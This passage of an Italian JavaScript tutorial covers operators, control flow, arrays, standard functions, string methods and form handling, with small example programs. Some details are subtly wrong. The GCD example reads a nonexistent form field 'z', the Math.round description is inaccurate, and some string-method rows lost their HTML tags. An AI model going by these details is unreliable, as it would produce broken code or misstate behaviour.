Oppure, si può usare la dichiarazione esplicita:

```
var x = 1;
```

I nomi delle variabili possono essere composti da lettere e numeri, che devono iniziare necessariamente con una lettera. Volendo seguire la convenzione del linguaggio Java, i nomi delle variabili si possono comporre unendo assieme una serie di parole che consentono di intendere il ruolo delle variabili stesse, utilizzando l'iniziale maiuscola per ogni parola che compone l'insieme del nome, tranne che per la prima, che inizia senza iniziale maiuscola. Per esempio: '**miaStringa**', '**elencoNomiUtenti**', '**indiceElenco**'.

I tipi di dati principali sono molto pochi, dal momento che nella gestione dei numeri si distingue soltanto tra interi e numeri con virgola mobile.

Tabella 66.116. Tipi di dati principali e rappresentazione delle costanti.

Tipo	Esempi di costante
intero	'`0`', '`123`', '`45678`'
virgola mobile	'`0.1`', '`123.45`', '`45678.901`'
booleano	'`true`', '`false`'
stringa	'`"bla bla bla"`', '`"0422.1234567"`', '`'bene bene'`'

Dagli esempi mostrati nella tabella riepilogativa dei tipi principali, si può osservare che i valori numerici in virgola mobile utilizzano il punto per separare la parte intera da quella decimale; inoltre, le stringhe sono delimitate indifferentemente con apici doppi oppure singoli. Nelle tabelle successive si riepilogano gli operatori principali delle espressioni che si possono realizzare con JavaScript.

Tabella 66.117. Elenco degli operatori aritmetici e di quelli di assegnamento relativi a valori numerici.

Operatore e operandi	Descrizione
`++`*op*	Incrementa di un'unità l'operando prima che venga restituito il suo valore.
op`++`	Incrementa di un'unità l'operando dopo averne restituito il suo valore.
`--`*op*	Decrementa di un'unità l'operando prima che venga restituito il suo valore.
op`--`	Decrementa di un'unità l'operando dopo averne restituito il suo valore.
`+`*op*	Non ha alcun effetto.
`-`*op*	Inverte il segno dell'operando.
op1 `+` *op2*	Somma i due operandi.
op1 `-` *op2*	Sottrae dal primo il secondo operando.
op1 `*` *op2*	Moltiplica i due operandi.
op1 `/` *op2*	Divide il primo operando per il secondo.
op1 `%` *op2*	Modulo -- il resto della divisione tra il primo e il secondo operando.

Operatore e operandi	Descrizione
var = ***valore***	Assegna alla variabile il valore alla destra.
op1 += ***op2***	***op1*** = ***op1*** + ***op2***
op1 -= ***op2***	***op1*** = ***op1*** - ***op2***
op1 *= ***op2***	***op1*** = ***op1*** * ***op2***
op1 /= ***op2***	***op1*** = ***op1*** / ***op2***
op1 %= ***op2***	***op1*** = ***op1*** % ***op2***

Tabella 66.118. Elenco degli operatori di confronto. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
op1 == ***op2***	*Vero* se gli operandi si equivalgono.
op1 != ***op2***	*Vero* se gli operandi sono differenti.
op1 < ***op2***	*Vero* se il primo operando è minore del secondo.
op1 > ***op2***	*Vero* se il primo operando è maggiore del secondo.
op1 <= ***op2***	*Vero* se il primo operando è minore o uguale al secondo.
op1 >= ***op2***	*Vero* se il primo operando è maggiore o uguale al secondo.

Tabella 66.119. Elenco degli operatori logici. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
! ***op***	Inverte il risultato logico dell'operando.
op1 && ***op2***	Se il risultato del primo operando è *Falso* non valuta il secondo.
op1 || ***op2***	Se il risultato del primo operando è *Vero* non valuta il secondo.

Tabella 66.120. Concatenamento di stringhe. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
stringa + *op*	Crea una stringa unica concatenando la stringa a sinistra con il valore a destra, previa conversione di tipo, se necessaria.
op + *stringa*	Crea una stringa unica concatenando il valore a sinistra, previa conversione di tipo, se necessaria, assieme alla stringa che si trova alla destra.

66.7.4 Funzioni e campo di azione delle variabili

Come già accennato nel capitolo, il linguaggio JavaScript offre oggetti già pronti, dei quali si usano le proprietà e i metodi relativi (ma con prudenza, per motivi di compatibilità), quindi consente di realizzare delle funzioni, che si dichiarano in modo molto semplice:

```
function nome ([parametro[, parametro]...]) {
    istruzione
    ...
}
```

Come si può intendere, nel modello mostrato le parentesi graffe fanno parte della dichiarazione della funzione e servono a raggruppare le istruzioni che questa contiene.

Una funzione può restituire un valore; in tal caso si usa l'istruzione '**`return`**':

```
return valore;
```

Le variabili dichiarate all'interno della funzione hanno una campo di azione locale e oscurano temporaneamente variabili globali, con lo stesso nome, dichiarate al di fuori della funzione. Le variabili dichiarate al di fuori delle funzioni, ma prima della loro chiamata, sono accessibili all'interno delle stesse, se non sono oscurate.

66.7.5 Strutture di controllo di flusso

Le strutture di controllo di flusso disponibili nel linguaggio JavaScript sono sostanzialmente le stesse del linguaggio Java, tenendo conto però che alcuni navigatori potrebbero non riconoscere le strutture più sofisticate. Vengono mostrati i modelli sintattici relativi alle strutture più comuni e più compatibili, con qualche esempio e poche spiegazioni.

- ```
  if (condizione) istruzione
  ```

  ```
  if (condizione) istruzione else istruzione
  ```
  ```

Se la condizione si verifica, viene eseguita l'istruzione (o il gruppo di istruzioni) seguente; quindi il controllo passa alle istruzioni successive alla struttura. Se viene utilizzato '**`else`**', nel caso non si verifichi la condizione, viene eseguita l'istruzione che ne segue. Vengono mostrati alcuni esempi:

```
var importo;
…
if (importo > 10000000) document.write ("Offerta vantaggiosa");
```

```
var importo;
var memorizza;
…
if (importo > 10000000)
  {
    memorizza = importo;
    document.write ("Offerta vantaggiosa");
  }
else
  {
    document.write ("Non conviene");
  }
```

```
var importo;
var memorizza;
…
if (importo > 10000000)
  {
    memorizza = importo;
    document.write ("Offerta vantaggiosa");
  }
else if (importo > 5000000)
  {
    memorizza = importo;
    document.write ("Offerta accettabile");
  }
else
  {
    document.write ("Non conviene");
  }
```

- `while (`***condizione***`)` ***istruzione***

  Il comando '**`while`**' esegue un'istruzione, o un gruppo di queste, finché la condizione continua a restituire il valore *Vero*. La condizione viene valutata prima di eseguire il gruppo di istruzioni e poi ogni volta che termina un ciclo, prima dell'esecuzione del successivo. L'esempio seguente visualizza 10 volte la lettera «x»:

```
var contatore = 0;
while (contatore < 10)
  {
    contatore++;
    document.write ("x");
  }
```

Nel blocco di istruzioni di un ciclo '**`while`**', ne possono apparire alcune particolari:

- '**`break`**'
  esce definitivamente dal ciclo '**`while`**';
- '**`continue`**'
  interrompe l'esecuzione del gruppo di istruzioni e riprende dalla valutazione della condizione.

L'esempio seguente è una variante del ciclo di visualizzazione mostrato sopra, modificato in modo da vedere il funzionamento di '**`break`**'. Si osservi che '**`while (true)`**' equivale a un ciclo senza fine, perché la condizione è sempre vera:

```
var contatore = 0;

while (true)
  {
    if (contatore >= 10)
      {
        break;
      }
    contatore++;
    document.write ("x");
  }
```

- `do` ***blocco_di_istruzioni*** `while (`***condizione***`);`

  Il comando '**`do`**' esegue un gruppo di istruzioni una volta e poi ne ripete l'esecuzione finché la condizione continua a restituire il valore *Vero*.

- `for (`***espressione1***`;` ***espressione2***`;` ***espressione3***`)` ***istruzione***

  Questa è la forma tipica di un'istruzione '**`for`**', in cui la prima espressione corrisponde all'assegnamento iniziale di una variabile, la seconda a una condizione che deve verificarsi fino a che si vuole che sia eseguita l'istruzione (o il gruppo di istruzioni), mentre la terza serve per l'incremento o decremento della variabile inizializzata con la prima espressione. In pratica, potrebbe esprimersi nella sintassi seguente:

  `for (`***var*** `=` ***n***`;` ***condizione***`;` ***var***`++)` ***istruzione***

  Il ciclo '**`for`**' potrebbe essere definito anche in maniera differente, più generale: la prima espressione viene eseguita una volta sola all'inizio del ciclo; la seconda viene valutata

all'inizio di ogni ciclo e il gruppo di istruzioni viene eseguito solo se il risultato è *Vero*; l'ultima viene eseguita alla fine dell'esecuzione del gruppo di istruzioni, prima che si ricominci con l'analisi della condizione.

L'esempio in cui viene visualizzata per 10 volte una «x», potrebbe tradursi nel modo seguente, attraverso l'uso di un ciclo '**`for`**':

```
var contatore;

for (contatore = 0; contatore < 10; contatore++)
  {
    document.write ("x");
  }
```

66.7.6 Array

A differenza degli altri tipi di dati mostrati, le variabili che devono fare riferimento a un array devono essere dichiarate come tali:

```
var nome = new Array();
```

Si osservi che le variabili dichiarate in questo modo **fanno riferimento** a un array, pertanto non contengono direttamente l'array stesso. Ciò significa che, se il nome di un array viene indicato in una chiamata di funzione, se la funzione modifica il contenuto dell'array, la modifica riguarda lo stesso array a cui fa riferimento la variabile nella chiamata.

Gli elementi di un array dichiarato in questo modo vengono creati automaticamente nel momento in cui sono utilizzati, come si vede nell'esempio seguente:

```
var mioArray = new Array();
//
mioArray[0] = "Ciao";
mioArray[1] = "come";
mioArray[7] = "stai";
//
document.write (mioArray[0]);
document.write (" ");
document.write (mioArray[1]);
document.write (" ");
document.write (mioArray[7]);
```

In questo caso sono stati saltati volutamente gli elementi dall'indice due all'indice sei, che esistono, ma contenenti un valore indefinito.

Nel linguaggio JavaScript, così come in Java, gli array sono degli oggetti e come tali possono disporre di proprietà e di metodi. Quando gli elementi dell'array vengono dichiarati in questo modo, cioè con un indice numerico intero, è possibile leggere il metodo '**`length`**', che consente di conoscere la lunghezza dell'array stesso:

```
var mioArray = new Array();
//
mioArray[0] = "Ciao";
mioArray[1] = "come";
mioArray[7] = "stai";
//
document.write (mioArray.length);
```

In questo caso, il valore che viene visualizzato attraverso ***document.write()*** è il numero otto, dal momento che array contiene, formalmente, otto elementi.

L'indice dell'array può essere indicato attraverso una stringa, come nell'esempio seguente:

```
var mioArray = new Array();
//
mioArray["a"] = "Ciao";
mioArray["s"] = "come";
mioArray["d"] = "stai";
//
document.write (mioArray["a"]);
document.write (" ");
document.write (mioArray["s"]);
document.write (" ");
document.write (mioArray["d"]);
```

Questi indici sono o diventano dei metodi dell'array, consentendo una forma più semplice per indicare i vari elementi:

```
var mioArray = new Array();
//
mioArray["a"] = "Ciao";
mioArray.s    = "come";
mioArray.d    = "stai";
//
document.write (mioArray.a);
document.write (" ");
document.write (mioArray["s"]);
document.write (" ");
document.write (mioArray["d"]);
```

In pratica, indicare '**`mioArray["a"]`**', oppure '**`mioArray.a`**', dovrebbe essere la stessa cosa.

La proprietà '**`length`**' dovrebbe funzionare solo per gli elementi numerati in modo tradizionale, ignorando quelli a cui si accede per mezzo di un indice differente.

66.7.7 Funzioni standard

Alcune «funzioni» standard facilitano l'uso del linguaggio. Nelle tabelle successive si riepilogano quelle più comuni che dovrebbero essere compatibili nella maggior parte delle situazioni.

Tabella 66.131. Funzioni generali, ovvero metodi che non richiedono l'indicazione di un oggetto.

Funzione	Descrizione
`escape(`***stringa***`)`	Restituisce la stringa indicata come argomento, dopo averla trasformata in modo da poterla rappresentare in un indirizzo URI. La trasformazione implica l'uso delle sequenze formate con il prefisso '`%`'.
`unescape(`***stringa***`)`	Restituisce la stringa indicata come argomento, dopo averla trasformata in modo da tradurre le sequenze formate con il prefisso '`%`' nei caratteri che queste rappresentano. In pratica è l'inverso di ***escape()***.
`parseFloat(`***stringa***`)`	Elabora la stringa restituendo il numero a virgola mobile che questa rappresenta (o che dovrebbe rappresentare).
`parseInt(`***stringa***`)`	Elabora la stringa restituendo il numero intero che questa rappresenta (o che dovrebbe rappresentare).
`eval(`***stringa***`)`	Esegue il contenuto della stringa come un'istruzione e restituisce il valore che questa istruzione restituisce a sua volta.
`isNaN(`***valore***`)`	Verifica un valore e restituisce *Vero* se questo risulta essere indefinito.

Tabella 66.132. Metodi matematici, che si applicano necessariamente all'oggetto '**`Math`**', come mostrato in modo esplicito nel modello sintattico.

Metodo	Descrizione
`Math.abs(`***n***`)`	Restituisce il valore assoluto di ***n***
`Math.ceil(`***n***`)`	Restituisce il valore intero di ***n*** arrotondato per eccesso.
`Math.round(`***n***`)`	Restituisce il valore intero di ***n*** arrotondato per eccesso se ***n*** ≥ 0,5, altrimenti arrotondato per difetto.
`Math.floor(`***n***`)`	Restituisce il valore intero di ***n*** arrotondato per difetto.
`Math.exp(`***n***`)`	Restituisce e^n (dove «e» approssima il valore 2,718).
`Math.log(`***n***`)`	Restituisce il logaritmo naturale di ***n***.
`Math.max(`***n_1***`, `***n_2***`, `...***n_n***`)`	Restituisce il massimo tra i valori numerici indicati.
`Math.min(`***n_1***`, `***n_2***`, `...***n_n***`)`	Restituisce il minimo tra i valori numerici indicati.
`Math.pow(`***x***`, `***y***`)`	Restituisce il risultato di x^y.
`Math.random()`	Restituisce un numero casuale, a virgola mobile, nell'intervallo compreso tra zero e uno.
`Math.sqrt(`***n***`)`	Restituisce la radice quadrata di ***n***.

Metodo	Descrizione
`Math.sin(`***n***`)`	Restituisce il seno di ***n***.
`Math.cos(`***n***`)`	Restituisce il coseno di ***n***.
`Math.tan(`***n***`)`	Restituisce la tangente di ***n***.
`Math.asin(`***n***`)`	Restituisce l'arcoseno di ***n***.
`Math.acos(`***n***`)`	Restituisce l'arcocoseno di ***n***.
`Math.atan(`***n***`)`	Restituisce l'arcotangente di ***n***.

Tabella 66.133. Istruzioni per la creazione di oggetti contenenti informazioni data-orario.

Istruzione	Descrizione
x `= new Date()`	Costruisce l'oggetto ***x*** contenente la data e l'orario corrente.
x `= new Date(`***anno***`,` ***mese***`,` ***giorno***`)` ***x*** `= new Date(`***anno***`,` ***mese***`,` ***giorno***`,` ***ore***`,` ***minuti***`,` ***secondi***`)`	Costruisce l'oggetto ***x*** contenente la data ed eventualmente anche l'orario indicati.

Tabella 66.134. Metodi per leggere o modificare informazioni data-orario a oggetti creati con ***Date()***.

Metodo	Descrizione
x`.setYear(`***anno***`)`	Imposta l'anno nell'oggetto ***x***.
x`.setMonth(`***anno***`)`	Imposta il mese nell'oggetto ***x***.
x`.setDate(`***giorno***`)`	Imposta il giorno del mese nell'oggetto ***x***.
x`.setHours(`***ora***`)`	Imposta l'ora nell'oggetto ***x***.
x`.setMinutes(`***minuti***`)`	Imposta i minuti nell'oggetto ***x***.
x`.setSeconds(`***secondi***`)`	Imposta i secondi nell'oggetto ***x***.
x`.getYear()`	Restituisce l'anno contenuto nell'oggetto ***x***.
x`.getMonth()`	Restituisce il mese contenuto nell'oggetto ***x***.
x`.getDay()`	Restituisce il giorno contenuto nell'oggetto ***x***.
x`.getHours()`	Restituisce l'ora contenuta nell'oggetto ***x***.
x`.getMinutes()`	Restituisce i minuti contenuti nell'oggetto ***x***.
x`.getSeconds()`	Restituisce i secondi contenuti nell'oggetto ***x***.

Si osservi che l'anno potrebbe essere restituito in forma non corretta; per esempio, l'anno 2004 potrebbe risultare come il numero 104; nello stesso modo, l'anno 1904 potrebbe apparire come il numero 4.

Tabella 66.135. Funzioni varie.

Funzione	Descrizione
`alert(`*stringa*`)`	Mostra la stringa all'interno di una finestra di avvertimento.
`setTimeout(`*stringa*`, `***n***`)`	Esegue la funzione scritta nella stringa che rappresenta il primo parametro, dopo aver atteso ***n*** ms (millesimi di secondo).

66.7.8 Gestione delle stringhe

Anche per JavaScript, come per Java, le stringhe sono oggetti, per i quali esistono metodi appropriati ed esiste anche la proprietà '**`length`**', che restituisce la lunghezza della stringa (come già avviene per gli array). Molti dei metodi riferiti alle stringhe servono per delimitare il testo con dei marcatori appropriati, per esempio per ottenere un testo nero o un corsivo, o ancora qualcosa di più appariscente.

Tabella 66.136. Metodi relativi alla gestione delle stringhe.

Metodo	Descrizione
x`.charAt(`***n***`)`	Restituisce un carattere nella posizione ***n*** della stringa contenuta nell'oggetto ***x***, dove il primo carattere viene identificato con lo zero.
x`.substring(`***n***`, `***m***`)`	Restituisce la sottostringa ottenuta a partire alla posizione ***n*** fino alla posizione ***m*** esclusa.
x`.indexOf(`*stringa*`[, `***n***`])`	Restituisce la posizione a partire dalla quale la stringa indicata come primo parametro corrisponde con la stringa contenuta nell'oggetto ***x***. Se è indicato anche il secondo parametro, la ricerca parte dalla posizione ***n***. Se la corrispondenza non viene trovata, restituisce il valore −1.
x`.lastIndexOf(`*stringa*`[, `***n***`])`	Restituisce la posizione più a destra dove la stringa indicata come primo parametro corrisponde con la stringa contenuta nell'oggetto ***x***. Se è indicato anche il secondo parametro, la ricerca termina in corrispondenza dalla posizione ***n***. Se la corrispondenza non viene trovata, restituisce il valore −1.
x`.toLowerCase()`	Restituisce la stringa contenuta nell'oggetto ***x*** convertendola in lettere minuscole.
x`.toUpperCase()`	Restituisce la stringa contenuta nell'oggetto ***x*** convertendola in lettere maiuscole.
x`.fontcolor(`*colore*`)`	Restituisce la stringa contenuta nell'oggetto ***x***, aggiungendo i marcatori '**`<font color="`***colore***`">`**' e '**`</font>`**' all'inizio e alla fine della stessa.
x`.fontsize(`*dimensione*`)`	Restituisce la stringa contenuta nell'oggetto ***x***, aggiungendo i marcatori '**`<font size="`***dimensione***`">`**' e '**`</font>`**' all'inizio e alla fine della stessa.
x`.blink()`	Restituisce la stringa contenuta nell'oggetto ***x***, aggiungendo i marcatori '**`<blink>`**' e '**`</blink>`**' all'inizio e alla fine della stessa.
x`.bold()`	Restituisce la stringa contenuta nell'oggetto ***x***, aggiungendo i marcatori '**`<b>`**' e '**`</b>`**' all'inizio e alla fine della stessa.

Metodo	Descrizione
`x.italics()`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '**<i>**' e '**</i>**' all'inizio e alla fine della stessa.
`x.fixed()`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '**<tt>**' e '**</tt>**' all'inizio e alla fine della stessa.
`x.big()`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '**<big>**' e '**</big>**' all'inizio e alla fine della stessa.
`x.small()`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '****' e '****' all'inizio e alla fine della stessa.
`x.sub()`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '**_{**' e '**}**' all'inizio e alla fine della stessa.
`x.sup()`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '**^{**' e '**}**' all'inizio e alla fine della stessa.
`x.strike()`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '**<strike>**' e '**</strike>**' all'inizio e alla fine della stessa.
`x.anchor(`*nome*`)`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '****' e '****' all'inizio e alla fine della stessa.
`x.link(`*riferimento*`)`	Restituisce la stringa contenuta nell'oggetto *x*, aggiungendo i marcatori '****' e '****' all'inizio e alla fine della stessa.

66.7.9 Moduli «FORM»

I dati che vengono inseriti all'interno di moduli HTML (elementi '**FORM**'), possono essere letti come proprietà di oggetti che discendono da '**document**'. All'interno di un elemento '**FORM**', si inseriscono normalmente una serie di elementi '**INPUT**', con caratteristiche differenti; sia l'elemento '**FORM**', sia l'elemento '**INPUT**' hanno la possibilità di avere un nome, attraverso l'attributo '**NAME**'. Nella situazione più semplice, si può avere un elemento '**INPUT**' per l'inserimento manuale di un testo da parte dell'utente, come nell'esempio seguente, dove per il momento l'attributo '**NOME**' dell'elemento '**FORM**' non sarebbe indispensabile:

```
<FORM NAME="elaborazione" METHOD="get" ACTION="/cgi-bin/elabora">
<P><INPUT NAME="nominativo" TYPE="TEXT" SIZE="30">
<INPUT TYPE="submit" VALUE="Invia"></P>
</FORM>
```

Un programma JavaScript ha la possibilità di leggere il testo inserito nel campo '**nominativo**' attraverso la proprietà '**document.elaborazione.nominativo.value**'; in pratica, sono stati usati i valori degli attributi '**NAME**' per costruire l'oggetto relativo. Per esempio, si potrebbe modificare l'esempio nel modo seguente:

```
<FORM METHOD="get" ACTION="/cgi-bin/elabora">
<P><INPUT TYPE="TEXT" SIZE="30" NAME="nominativo">
<INPUT TYPE="button" VALUE="Invia" onClick="verificaInvia()"></P>
</FORM>
```

Come si vede, il bottone finale è stato modificato, da un tipo '**`submit`**' a un tipo '**`button`**', per evitare che l'informazione venga inviata con la sola selezione del bottone, che invece provoca l'esecuzione della funzione ***verificaInvia()***, che intuitivamente ha lo scopo di verificare i dati inseriti e di inviarli se corretti. La funzione di controllo potrebbe essere realizzata così:

```
function verificaInvia () {
    if (document.elaborazione.nominativo.value == "")
      {
        alert ("È necessario inserire il nominativo!");
        document.elaborazione.nominativo.focus();
      }
    else
      {
        document.elaborazione.submit();
      }
}
```

Intuitivamente, osservando l'esempio, si comprende che se il campo risulta vuoto nel momento in cui si seleziona il bottone, viene mostrato un avvertimento e viene messo a fuoco proprio il campo da correggere, altrimenti viene inviato il contenuto del modulo '**`elaborazione`**'.

In considerazione del fatto che non si può avere la certezza di avere un utenza che può disporre in ogni circostanza di un navigatore compatibile con il programma JavaScript che si scrive, si può essere più morbidi e dare la possibilità di inviare i dati senza alcun controllo:

```
<FORM METHOD="get" ACTION="/cgi-bin/elabora">
<P><INPUT TYPE="TEXT" SIZE="30" NAME="nominativo">
<INPUT TYPE="button" VALUE="Invia" onClick="verificaInvia()"></P>
<INPUT TYPE="submit" VALUE="Invia senza controllo"></P>
</FORM>
```

Nelle tabelle successive vengono descritti alcuni eventi, metodi e proprietà relative all'uso di elementi '**`FORM`**'.

Tabella 66.141. Eventi relativi all'elemento '**`FORM`**' e all'elemento '**`INPUT`**'.

Modello	Descrizione
`<FORM … onSubmit="`***funzione***`">`	Esegue la funzione quando il modulo viene inviato.
`<FORM … onReset="`***funzione***`">`	Esegue la funzione quando il modulo viene azzerato.
`<INPUT … onFocus="`***funzione***`">`	Esegue la funzione quando il componente è a fuoco.
`<INPUT … onBlur="`***funzione***`">`	Esegue la funzione quando il componente non è più a fuoco.
`<INPUT … onClick="`***funzione***`">`	Esegue la funzione quando il componente viene selezionato con un clic.
`<INPUT … onSelect="`***funzione***`">`	Esegue la funzione quando viene selezionata una porzione del testo del componente.

Tabella 66.142. Alcune proprietà e metodi riferiti a oggetti derivanti da elementi '**FORM**' e '**INPUT**'. La metavariabile ***x*** rappresenta il nome associato all'elemento '**FORM**' e ***y*** rappresenta il nome associato all'elemento '**INPUT**'.

Modello	Descrizione
`document.`***x***`.action`	Rappresenta l'indirizzo usato normalmente nell'attributo '**ACTION**' dell'elemento '**FORM**'.
`document.`***x***`.encoding`	Codifica usata nel modulo.
`document.`***x***`.method`	Modalità di invio dei dati del modulo ('**GET**' o '**POST**').
`document.`***x***`.submit()`	Invia i dati del modulo.
`document.`***x***`.reset()`	Azzera il contenuto del modulo.
`document.`***x***`.`***y***`.type`	Restituisce il tipo di campo.
`document.`***x***`.`***y***`.value`	Restituisce il valore del campo.
`document.`***x***`.`***y***`.focus()`	Seleziona l'elemento (lo mette a fuoco).
`document.`***x***`.`***y***`.blur()`	Deseleziona l'elemento (l'opposto della messa a fuoco).

Dovendo lavorare con nomi di proprietà e metodi molto lunghi, può essere conveniente dichiarare il contesto con l'istruzione '**with**':

```
with (prefisso) {
    ...
}
```

L'esempio già apparso della funzione ***verificaInvia()*** potrebbe essere semplificato agli occhi del lettore modificandolo così:

```
function verificaInvia () {
    with (document.elaborazione)
      {
        if (nominativo.value == "")
          {
            alert ("È necessario inserire il nominativo!");
            nominativo.focus();
          }
        else
          {
            submit();
          }
      }
}
```

66.7.10 Esempi di programmazione

Si tenga in considerazione il fatto che in condizioni normali non si ha la disponibilità di un analizzatore sintattico del linguaggio JavaScript, pertanto la ricerca di errori banali di sintassi diventa problematica, dal momento che il navigatore comune si limita a non eseguire il programma che gli risulta non essere corretto. Anche per questa ragione non vengono mostrati esempi di una certa complessità.

66.7.10.1 Fattoriale

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>Calcola il fattoriale di un valore intero</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
    <!--
        function fattoriale (x)
        {
            var i = x - 1;
            //
            while (i > 0)
              {
                x = x * i;
                i--;
              }
            return x;
        }
        //
        function esegui ()
        {
            var x = parseInt (document.modulo.x.value);
            var z;
            var risultato = "";
            z = fattoriale (x);
            //
            risultato = risultato
                      + x
                      + "!"
                      + "="
                      + z;
            alert (risultato);
        }
        //-->
        </SCRIPT>
</HEAD>
<BODY>
<H1>Calcola il fattoriale di un valore intero</H1>
```

```
<FORM NAME="modulo" METHOD="get" ACTION="">
<P>
    x = <INPUT TYPE="TEXT" SIZE="30" NAME="x">
</P>
<P>
    <INPUT TYPE="button" VALUE="esegui" onClick="esegui()">
</P>
</FORM>

</BODY>
</HTML>
```

In alternativa, l'algoritmo si può tradurre in modo ricorsivo:

```
function fattoriale (x)
{
    if (x > 1)
      {
        return (x * fattoriale (x - 1));
      }
    else
      {
        return 1;
      }
    //
    // Teoricamente non dovrebbe arrivare qui.
    //
}
```

66.7.10.2 Massimo comune divisore

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>Determina il massimo comune divisore tra due numeri interi
        positivi</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
    <!--
        function mcd (x, y)
        {
            var i;
            var z = 0;
            //
            while (x != y)
              {
```

```
                if (x > y)
                  {
                    x = x - y;
                  }
                else
                  {
                    y = y - x;
                  }
              }
            return x;
        }
        //
        function esegui ()
        {
            var x = parseInt (document.modulo.z.value);
            var y = parseInt (document.modulo.y.value);
            var z;
            var risultato = "";
            z = mcd (x, y);
            //
            risultato = risultato
                      + "mcd("
                      + x
                      + ", "
                      + y
                      + ")"
                      + "="
                      + z;
            alert (risultato);
        }
        //-->
        </SCRIPT>
</HEAD>
<BODY>
<H1>Determina il massimo comune divisore tra due numeri interi
positivi</H1>

<FORM NAME="modulo" METHOD="get" ACTION="">
<P>
    x = <INPUT TYPE="TEXT" SIZE="30" NAME="x"><BR>
    y = <INPUT TYPE="TEXT" SIZE="30" NAME="y">
</P>
<P>
    <INPUT TYPE="button" VALUE="esegui" onClick="esegui()">
</P>
</FORM>
```

```
</BODY>
</HTML>
```

66.7.10.3 Numero primo

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>Determina se un numero intero sia primo o meno</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
    <!--
        function primo (x)
        {
            var primo = true;
            var i = 2;
            var j;
            //
            while ((i < x) && primo)
            {
                j = x / i;
                j = Math.floor (j);
                j = x - (j * i);
                //
                if (j == 0)
                  {
                    primo = false;
                  }
                else
                  {
                    i++;
                  }
            }
            return primo;
        }
        //
        function esegui ()
        {
            var x = parseInt (document.modulo.x.value);
            var z;
            var risultato = "";
            z = primo (x);
            //
            if (z)
              {
                risultato = risultato
```

```
                        + x
                        + " è un numero primo!";
                }
              else
                {
                  risultato = risultato
                        + x
                        + " non è un numero primo!";
                }
              alert (risultato);
          }
          //-->
          </SCRIPT>
</HEAD>
<BODY>
<H1>Determina se un numero intero sia primo o meno</H1>

<FORM NAME="modulo" METHOD="get" ACTION="">
<P>
    x = <INPUT TYPE="TEXT" SIZE="30" NAME="x">
</P>
<P>
    <INPUT TYPE="button" VALUE="esegui" onClick="esegui()">
</P>
</FORM>

</BODY>
</HTML>
```

66.7.10.4 Ricerca sequenziale

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>Ricerca sequenziale</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
    <!--
        function ricercaseq (lista, x, a, z)
        {
            var i;
            //
            // Scandisce l'array alla ricerca dell'elemento.
            //
            for (i = a; i <= z; i++)
              {
```

```
                if (x == lista[i])
                  {
                    return i;
                  }
              }
            //
            // La corrispondenza non è stata trovata.
            //
            return -1;
        }
        function esegui ()
        {
            var a = new Array ();
            var z;
            var risultato = "";
            var x = document.modulo.x.value;
            //
            a[0] = document.modulo.a0.value;
            a[1] = document.modulo.a1.value;
            a[2] = document.modulo.a2.value;
            a[3] = document.modulo.a3.value;
            a[4] = document.modulo.a4.value;
            a[5] = document.modulo.a5.value;
            a[6] = document.modulo.a6.value;
            a[7] = document.modulo.a7.value;
            a[8] = document.modulo.a8.value;
            a[9] = document.modulo.a9.value;
            //
            z = ricercaseq (a, x, 0, (a.length-1));
            //
            risultato = x
                      + " si trova nella posizione "
                      + z
                      + ".";
            alert (risultato);
        }
        //-->
        </SCRIPT>
</HEAD>
<BODY>
<H1>Ricerca sequenziale</H1>

<FORM NAME="modulo" METHOD="get" ACTION="">
<P>
    x = <INPUT TYPE="TEXT" SIZE="30" NAME="x"><BR>
    a[0] = <INPUT TYPE="TEXT" SIZE="30" NAME="a0"><BR>
    a[1] = <INPUT TYPE="TEXT" SIZE="30" NAME="a1"><BR>
```

```
    a[2] = <INPUT TYPE="TEXT" SIZE="30" NAME="a2"><BR>
    a[3] = <INPUT TYPE="TEXT" SIZE="30" NAME="a3"><BR>
    a[4] = <INPUT TYPE="TEXT" SIZE="30" NAME="a4"><BR>
    a[5] = <INPUT TYPE="TEXT" SIZE="30" NAME="a5"><BR>
    a[6] = <INPUT TYPE="TEXT" SIZE="30" NAME="a6"><BR>
    a[7] = <INPUT TYPE="TEXT" SIZE="30" NAME="a7"><BR>
    a[8] = <INPUT TYPE="TEXT" SIZE="30" NAME="a8"><BR>
    a[9] = <INPUT TYPE="TEXT" SIZE="30" NAME="a9"><BR>
</P>
<P>
    <INPUT TYPE="button" VALUE="esegui" onClick="esegui()">
</P>
</FORM>

</BODY>
</HTML>
```

Esiste anche una soluzione ricorsiva che viene mostrata nella subroutine seguente:

```
function ricercaseq (lista, x, a, z)
{
    if (a > z)
      {
        //
        // La corrispondenza non è stata trovata.
        //
        return -1;
      }
    else if (x == lista[a])
      {
        return a;
      }
    else
      {
        return ricercaseq (lista, x, a+1, z);
      }
}
```

66.8 Approfondimento: verifiche automatiche con JavaScript

